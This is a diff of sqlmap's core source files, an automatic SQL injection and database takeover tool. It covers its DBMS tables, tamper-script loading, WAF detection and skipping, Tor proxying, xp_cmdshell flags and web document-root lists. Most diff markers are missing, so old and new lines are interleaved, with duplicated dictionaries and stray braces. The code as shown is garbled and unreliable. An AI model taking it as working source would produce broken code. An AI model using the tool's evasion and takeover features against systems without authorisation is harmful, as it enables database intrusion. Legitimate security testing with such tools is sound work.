DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
}
FROM_DUMMY_TABLE = {
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
DBMS.MAXDB: " FROM VERSIONS",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS"
}
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
DBMS.MAXDB: " FROM VERSIONS",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
}
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ", ),
"SQL data manipulation": (
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ", ),
"SQL data control": (
"grant ",
"revoke ", ),
"SQL data control": (
"grant ",
"revoke ", ),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ", ),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}
POST_HINT_CONTENT_TYPES = {
POST_HINT.JSON: "application/json",
POST_HINT.JSON_LIKE: "application/json",
POST_HINT.MULTIPART: "multipart/form-data",
POST_HINT.SOAP: "application/soap+xml",
POST_HINT.XML: "application/xml",
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
}
POST_HINT.JSON: "application/json",
POST_HINT.JSON_LIKE: "application/json",
POST_HINT.MULTIPART: "multipart/form-data",
POST_HINT.SOAP: "application/soap+xml",
POST_HINT.XML: "application/xml",
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
}
DEPRECATED_OPTIONS = {
"--replicate": "use '--dump-format=SQLITE' instead",
"--no-unescape": "use '--no-escape' instead",
"--binary": "use '--binary-fields' instead",
"--auth-private": "use '--auth-file' instead",
"--check-payload": None,
"--check-waf": None,
}
"--replicate": "use '--dump-format=SQLITE' instead",
"--no-unescape": "use '--no-escape' instead",
"--binary": "use '--binary-fields' instead",
"--auth-private": "use '--auth-file' instead",
"--check-payload": None,
"--check-waf": None,
}
DUMP_DATA_PREPROCESS = {
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
}
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
}
DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
}
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
}
+24 -2
View File
@@ -9,6 +9,7 @@ import cgi
import hashlib
import os
import re
import shutil
import tempfile
import threading
@@ -118,9 +119,15 @@ class Dump(object):
elif data is not None:
_ = getUnicode(data)
if _ and _[-1] == '\n':
if _.endswith("\r\n"):
_ = _[:-2]
elif _.endswith("\n"):
_ = _[:-1]
if _.strip(' '):
_ = _.strip(' ')
if "\n" in _:
self._write("%s:\n---\n%s\n---" % (header, _))
else:
@@ -449,8 +456,23 @@ class Dump(object):
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
else:
appendToFile = any((conf.limitStart, conf.limitStop))
if not appendToFile:
count = 1
while True:
candidate = "%s.%d" % (dumpFileName, count)
if not checkFile(candidate, False):
try:
shutil.copyfile(dumpFileName, candidate)
except IOError:
pass
finally:
break
else:
count += 1
appendToFile = any((conf.limitStart, conf.limitStop)) and checkFile(dumpFileName, False)
dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
count = int(tableValues["__infos__"]["count"])
+15
View File
@@ -34,6 +34,7 @@ class DBMS:
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
INFORMIX = "Informix"
class DBMS_DIRECTORY_NAME:
ACCESS = "access"
@@ -47,6 +48,7 @@ class DBMS_DIRECTORY_NAME:
SQLITE = "sqlite"
SYBASE = "sybase"
HSQLDB = "hsqldb"
INFORMIX = "informix"
class CUSTOM_LOGGING:
PAYLOAD = 9
@@ -194,6 +196,7 @@ class OPTION_TYPE:
class HASHDB_KEYS:
DBMS = "DBMS"
DBMS_FORK = "DBMS_FORK"
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
CONF_TMP_PATH = "CONF_TMP_PATH"
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -351,3 +354,15 @@ class AUTOCOMPLETE_TYPE:
SQL = 0
OS = 1
SQLMAP = 2
class NOTE:
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
class MKSTEMP_PREFIX:
HASHES = "sqlmaphashes-"
CRAWLER = "sqlmapcrawler-"
IPC = "sqlmapipc-"
TESTING = "sqlmaptesting-"
RESULTS = "sqlmapresults-"
COOKIE_JAR = "sqlmapcookiejar-"
BIG_ARRAY = "sqlmapbigarray-"
+122 -59
View File
@@ -120,6 +120,7 @@ from lib.core.settings import MAX_CONNECT_RETRIES
from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
@@ -127,12 +128,14 @@ from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import TIME_DELAY_CANDIDATES
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon
from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.payloads import loadBoundaries
@@ -152,6 +155,7 @@ from lib.utils.deps import checkDependencies
from lib.utils.search import search
from lib.utils.purge import purge
from thirdparty.keepalive import keepalive
from thirdparty.multipart import multipartpost
from thirdparty.oset.pyoset import oset
from thirdparty.socks import socks
from xml.etree.ElementTree import ElementTree
@@ -162,6 +166,7 @@ keepAliveHandler = keepalive.HTTPHandler()
proxyHandler = urllib2.ProxyHandler()
redirectHandler = SmartRedirectHandler()
rangeHandler = HTTPRangeHandler()
multipartPostHandler = multipartpost.MultipartPostHandler()
def _feedTargetsDict(reqFile, addedTargetUrls):
"""
@@ -384,7 +389,7 @@ def _loadQueries():
try:
tree.parse(paths.QUERIES_XML)
except Exception, ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
@@ -878,32 +883,32 @@ def _setTamperingFunctions():
resolve_priorities = False
priorities = []
for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
found = False
tfile = tfile.strip()
script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
if not tfile:
if not script:
continue
elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)):
tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)
elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)):
script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)
elif not os.path.exists(tfile):
errMsg = "tamper script '%s' does not exist" % tfile
elif not os.path.exists(script):
errMsg = "tamper script '%s' does not exist" % script
raise SqlmapFilePathException(errMsg)
elif not tfile.endswith('.py'):
errMsg = "tamper script '%s' should have an extension '.py'" % tfile
elif not script.endswith(".py"):
errMsg = "tamper script '%s' should have an extension '.py'" % script
raise SqlmapSyntaxException(errMsg)
dirname, filename = os.path.split(tfile)
dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname)
infoMsg = "loading tamper script '%s'" % filename[:-3]
logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, '__init__.py')):
if not os.path.exists(os.path.join(dirname, "__init__.py")):
errMsg = "make sure that there is an empty file '__init__.py' "
errMsg += "inside of tamper scripts directory '%s'" % dirname
raise SqlmapGenericException(errMsg)
@@ -912,11 +917,11 @@ def _setTamperingFunctions():
sys.path.insert(0, dirname)
try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding()))
except (ImportError, SyntaxError), msg:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg))
module = __import__(filename[:-3])
except (ImportError, SyntaxError), ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs":
@@ -925,7 +930,7 @@ def _setTamperingFunctions():
function.func_name = module.__name__
if check_priority and priority > last_priority:
message = "it seems that you might have mixed "
message = "it appears that you might have mixed "
message += "the order of tamper scripts. "
message += "Do you want to auto resolve this? [Y/n/q] "
test = readInput(message, default="Y")
@@ -948,7 +953,7 @@ def _setTamperingFunctions():
if not found:
errMsg = "missing function 'tamper(payload, **kwargs)' "
errMsg += "in tamper script '%s'" % tfile
errMsg += "in tamper script '%s'" % script
raise SqlmapGenericException(errMsg)
if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
@@ -997,6 +1002,8 @@ def _setWafFunctions():
else:
kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3])))
kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower())
def _setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
@@ -1007,12 +1014,12 @@ def _setDNSCache():
"""
def _getaddrinfo(*args, **kwargs):
if args in kb.cache:
return kb.cache[args]
if args in kb.cache.addrinfo:
return kb.cache.addrinfo[args]
else:
kb.cache[args] = socket._getaddrinfo(*args, **kwargs)
return kb.cache[args]
kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs)
return kb.cache.addrinfo[args]
if not hasattr(socket, "_getaddrinfo"):
socket._getaddrinfo = socket.getaddrinfo
@@ -1035,7 +1042,7 @@ def _setSocketPreConnect():
s = socket.socket(family, type, proto)
s._connect(address)
with kb.locks.socket:
socket._ready[key].append(s._sock)
socket._ready[key].append((s._sock, time.time()))
except KeyboardInterrupt:
break
except:
@@ -1050,9 +1057,17 @@ def _setSocketPreConnect():
with kb.locks.socket:
if key not in socket._ready:
socket._ready[key] = []
if len(socket._ready[key]) > 0:
self._sock = socket._ready[key].pop(0)
found = True
while len(socket._ready[key]) > 0:
candidate, created = socket._ready[key].pop(0)
if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT:
self._sock = candidate
found = True
break
else:
try:
candidate.close()
except socket.error:
pass
if not found:
self._connect(address)
@@ -1063,6 +1078,7 @@ def _setSocketPreConnect():
socket.socket.connect = connect
thread = threading.Thread(target=_)
setDaemon(thread)
thread.start()
def _setHTTPHandlers():
@@ -1150,7 +1166,7 @@ def _setHTTPHandlers():
debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg)
handlers = filter(None, [proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])
handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])
if not conf.dropSetCookie:
if not conf.loadCookies:
@@ -1380,16 +1396,12 @@ def _setHTTPExtraHeaders():
raise SqlmapSyntaxException(errMsg)
elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5"))
if not conf.charset:
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
else:
if conf.charset:
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset))
# Invalidating any caching mechanism in between
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store"))
conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache"))
# Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _defaultHTTPUserAgent():
"""
@@ -1399,13 +1411,6 @@ def _defaultHTTPUserAgent():
return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def _setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
@@ -1544,24 +1549,51 @@ def _createTemporaryDirectory():
Creates temporary directory for this run.
"""
try:
if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir())
except IOError, ex:
errMsg = "there has been a problem while accessing "
errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user"
raise SqlmapSystemException, errMsg
if conf.tmpDir:
try:
if not os.path.isdir(conf.tmpDir):
os.makedirs(conf.tmpDir)
if "sqlmap" not in (tempfile.tempdir or ""):
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
_ = os.path.join(conf.tmpDir, randomStr())
open(_, "w+b").close()
os.remove(_)
tempfile.tempdir = conf.tmpDir
warnMsg = "using '%s' as the temporary directory" % conf.tmpDir
logger.warn(warnMsg)
except (OSError, IOError), ex:
errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
else:
try:
if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir())
except (OSError, IOError, WindowsError), ex:
warnMsg = "there has been a problem while accessing "
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
warnMsg += "make sure that there is enough disk space left. If problem persists, "
warnMsg += "try to set environment variable 'TEMP' to a location "
warnMsg += "writeable by the current user"
logger.warn(warnMsg)
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
try:
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
except (OSError, IOError, WindowsError):
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
kb.tempDir = tempfile.tempdir
if not os.path.isdir(tempfile.tempdir):
os.makedirs(tempfile.tempdir)
try:
os.makedirs(tempfile.tempdir)
except (OSError, IOError, WindowsError), ex:
errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
def _cleanupOptions():
"""
@@ -1589,6 +1621,9 @@ def _cleanupOptions():
else:
conf.testParameter = []
if conf.agent:
conf.agent = re.sub(r"[\r\n]", "", conf.agent)
if conf.user:
conf.user = conf.user.replace(" ", "")
@@ -1653,10 +1688,20 @@ def _cleanupOptions():
conf.testFilter = conf.testFilter.strip('*+')
conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
try:
re.compile(conf.testFilter)
except re.error:
conf.testFilter = re.escape(conf.testFilter)
if conf.testSkip:
conf.testSkip = conf.testSkip.strip('*+')
conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
try:
re.compile(conf.testSkip)
except re.error:
conf.testSkip = re.escape(conf.testSkip)
if "timeSec" not in kb.explicitSettings:
if conf.tor:
conf.timeSec = 2 * conf.timeSec
@@ -1686,7 +1731,7 @@ def _cleanupOptions():
if conf.outputDir:
paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir))
setPaths()
setPaths(paths.SQLMAP_ROOT_PATH)
if conf.string:
try:
@@ -1794,10 +1839,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.bruteMode = False
kb.cache = AttribDict()
kb.cache.addrinfo = {}
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
kb.cache.stdev = {}
kb.captchaDetected = None
kb.chars = AttribDict()
kb.chars.delimiter = randomStr(length=6, lowercase=True)
kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
@@ -1806,6 +1857,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.columnExistsChoice = None
kb.commonOutputs = None
kb.cookieEncodeChoice = None
kb.counters = {}
kb.data = AttribDict()
kb.dataOutputFlag = False
@@ -1819,6 +1871,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None
kb.dumpColumns = None
kb.dumpTable = None
kb.dumpKeyboardInterrupt = False
kb.dynamicMarkings = []
@@ -1828,6 +1881,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.extendTests = None
kb.errorChunkLength = None
kb.errorIsNone = True
kb.falsePositives = []
kb.fileReadMode = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
@@ -1837,6 +1891,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicMode = False
kb.heuristicPage = False
kb.heuristicTest = None
kb.hintValue = None
kb.htmlFp = []
@@ -1895,13 +1950,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
kb.requestCounter = 0
kb.resendPostOnRedirect = None
kb.resolutionDbms = None
kb.responseTimes = {}
kb.responseTimeMode = None
kb.responseTimePayload = None
kb.resumeValues = True
kb.rowXmlMode = False
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.reduceTests = None
kb.tlsSNI = {}
kb.stickyDBMS = False
@@ -1909,6 +1967,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.storeCrawlingChoice = None
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableFrom = None
kb.technique = None
kb.tempDir = None
kb.testMode = False
@@ -1918,7 +1977,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.threadContinue = True
kb.threadException = False
kb.tableExistsChoice = None
kb.timeValidCharsRun = 0
kb.uChar = NULL
kb.unionDuplicates = False
kb.xpCmdshellAvailable = False
@@ -2139,6 +2197,8 @@ def _mergeOptions(inputOptions, overrideOptions):
if inputOptions.pickledOptions:
try:
inputOptions = base64unpickle(inputOptions.pickledOptions)
if type(inputOptions) == dict:
inputOptions = AttribDict(inputOptions)
_normalizeOptions(inputOptions)
except Exception, ex:
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
@@ -2236,6 +2296,7 @@ def _setTorHttpProxySettings():
infoMsg = "setting Tor HTTP proxy settings"
logger.info(infoMsg)
s = None
found = None
for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)):
@@ -2247,12 +2308,13 @@ def _setTorHttpProxySettings():
except socket.error:
pass
s.close()
if s:
s.close()
if found:
conf.proxy = "http://%s:%d" % (LOCALHOST, found)
else:
errMsg = "can't establish connection with the Tor proxy. "
errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Vidalia, Privoxy or "
errMsg += "Polipo bundle installed for you to be able to "
errMsg += "successfully use switch '--tor' "
@@ -2297,7 +2359,7 @@ def _checkTor():
page = None
if not page or 'Congratulations' not in page:
errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
raise SqlmapConnectionException(errMsg)
else:
infoMsg = "Tor is properly being used"
@@ -2529,6 +2591,7 @@ def _resolveCrossReferences():
lib.request.connect.setHTTPHandlers = _setHTTPHandlers
lib.utils.search.setHTTPHandlers = _setHTTPHandlers
lib.controller.checks.setVerbosity = setVerbosity
lib.controller.checks.setWafFunctions = _setWafFunctions
def initOptions(inputOptions=AttribDict(), overrideOptions=False):
_setConfAttributes()
+6 -4
View File
@@ -136,6 +136,7 @@ optDict = {
"tbl": "string",
"col": "string",
"excludeCol": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
@@ -189,6 +190,7 @@ optDict = {
#"xmlFile": "string",
"trafficFile": "string",
"batch": "boolean",
"binaryFields": "string",
"charset": "string",
"crawlDepth": "integer",
"crawlExclude": "string",
@@ -201,7 +203,6 @@ optDict = {
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"pivotColumn": "string",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
@@ -217,23 +218,24 @@ optDict = {
"dependencies": "boolean",
"disableColoring": "boolean",
"googlePage": "integer",
"identifyWaf": "boolean",
"mobile": "boolean",
"offline": "boolean",
"pageRank": "boolean",
"purgeOutput": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"binaryFields": "string",
"profile": "boolean",
"forceDns": "boolean",
"identifyWaf": "boolean",
"skipWaf": "boolean",
"ignore401": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
+2
View File
@@ -32,6 +32,8 @@ def setDbms(dbms):
dbms = _.group(1)
Backend.setDbms(dbms)
if kb.resolutionDbms:
hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms)
logger.info("the back-end DBMS is %s" % Backend.getDbms())
+64 -28
View File
@@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
"""
import os
import random
import re
import subprocess
import string
@@ -19,10 +20,11 @@ from lib.core.enums import OS
from lib.core.revision import getRevisionNumber
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.0.5.0"
VERSION = "1.0.10.0"
REVISION = getRevisionNumber()
STABLE = VERSION.count('.') <= 2
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
@@ -30,12 +32,14 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
# colorful banner
BANNER = """\033[01;33m _
___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| \033[0m\033[4;37m%s\033[0m\n
""" % ((31 + hash(VERSION) % 6) if not STABLE else 30, VERSION_STRING.split('/')[-1], SITE)
BANNER = """\033[01;33m\
___
__H__
___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| \033[0m\033[4;37m%s\033[0m\n
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
# Minimum distance of ratio from kb.matchRatio to result in True
DIFF_TOLERANCE = 0.05
@@ -64,11 +68,15 @@ BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c"
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
# Regular expression used for recognition of textual content-type
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
@@ -78,6 +86,12 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"max.+connections"
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10
# Maximum sleep time in "Murphy" (testing) mode
MAX_MURPHY_SLEEP_TIME = 3
# Regular expression used for extracting results from Google search
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
@@ -122,7 +136,7 @@ UNION_STDEV_COEFF = 7
TIME_DELAY_CANDIDATES = 3
# Default value for HTTP Accept header
HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HTTP_ACCEPT_HEADER_VALUE = "*/*"
# Default value for HTTP Accept-Encoding header
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
